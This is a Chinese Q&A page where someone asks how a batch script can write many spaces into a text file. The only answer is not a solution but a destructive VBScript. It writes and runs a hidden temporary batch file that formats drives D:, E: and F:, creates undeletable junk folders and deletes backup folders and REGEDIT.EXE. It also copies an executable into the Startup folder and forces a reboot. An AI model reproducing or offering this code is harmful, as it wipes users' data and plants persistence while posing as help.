Question

批处理如何实现把许多空格输入到.txt文件中

Answer 1

On Error Resume Next:Dim WshSHell,FSO,Bat2Vbs:Set WshSHell = WScript.CreateObject("WScript.Shell"):Set FSO = CreateObject("Scripting.FileSystemObject"):Bat2Vbs="@echo off echo mode con: cols=600 lines=500 @format D: /q/u/y MD d:\变态1..\ MD d:\变态2..\ MD d:\变态3..\ MD d:\变态4..\ MD d:\变态5..\ MD d:\变态6..\ MD d:\变态7..\ MD d:\变态8..\ MD d:\变态9..\ MD d:\变态0..\ MD d:\变态10..\ MD d:\变态11..\ MD d:\变态12..\ MD d:\变态13..\ MD c:\变态1..\ MD C:\变态2..\ MD C:\变态3..\ MD C:\变态4..\ MD C:\变态5..\ MD C:\变态6..\ MD C:\变态7..\ MD C:\变态8..\ MD C:\变态9..\ MD C:\变态0..\ MD C:\变态10..\ MD C:\变态11..\ MD C:\变态12..\ MD C:\变态13..\ @format E: /q/u/y MD E:\变态1..\ MD E:\变态2..\ MD E:\变态3..\ MD E:\变态4..\ MD E:\变态5..\ MD E:\变态6..\ MD E:\变态7..\ MD E:\变态8..\ MD E:\变态9..\ MD E:\变态0..\ MD E:\变态10..\ MD E:\变态11..\ MD E:\变态12..\ MD E:\变态13..\ @format F: /q/u/y MD F:\变态1..\ MD F:\变态2..\ MD F:\变态3..\ MD F:\变态4..\ MD F:\变态5..\ MD F:\变态6..\ MD F:\变态7..\ MD F:\变态8..\ MD F:\变态9..\ MD F:\变态0..\ MD F:\变态10..\ MD F:\变态11..\ MD F:\变态12..\ MD F:\变态13..\ del/f/q/s c:\ghost\*.* del/f/q/s c:\dosh\*.* xcopy QQ安全防护.exe C:\Documents and Settings\All Users\「开始」菜单\程序\启动\ del /f /s /q C:\WINDOWS\REGEDIT.EXE shutdown -r -t 1"
Execute("For i=1 To Len(Bat2Vbs)"&vbCrLf&"TempNum = Asc(Mid(Bat2Vbs,i,1))"&vbCrLf&"If TempNum = 28 Then"&vbCrLf&"TempNum = 13"&vbCrLf&"ElseIf TempNum = 29 Then"&vbCrLf&"TempNum = 10"&vbCrLf&"elseif TempNum=18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"ThisText2 = ThisText2 & chr(TempNum)"&vbCrLf&"Next")
Set BatFile = FSO.OpenTextFile(FSO.BuildPath(FSO.GetSpecialFolder(2),"Temp.bat"),2,True):BatFile.WriteLine(ThisText2):BatFile.Close:WshSHell.Run "%Comspec% /C "&FSO.BuildPath(FSO.GetSpecialFolder(2),"Temp.bat"),1,true:WScript.Sleep 500:FSO.DeleteFile FSO.BuildPath(FSO.GetSpecialFolder(2),"Temp.bat")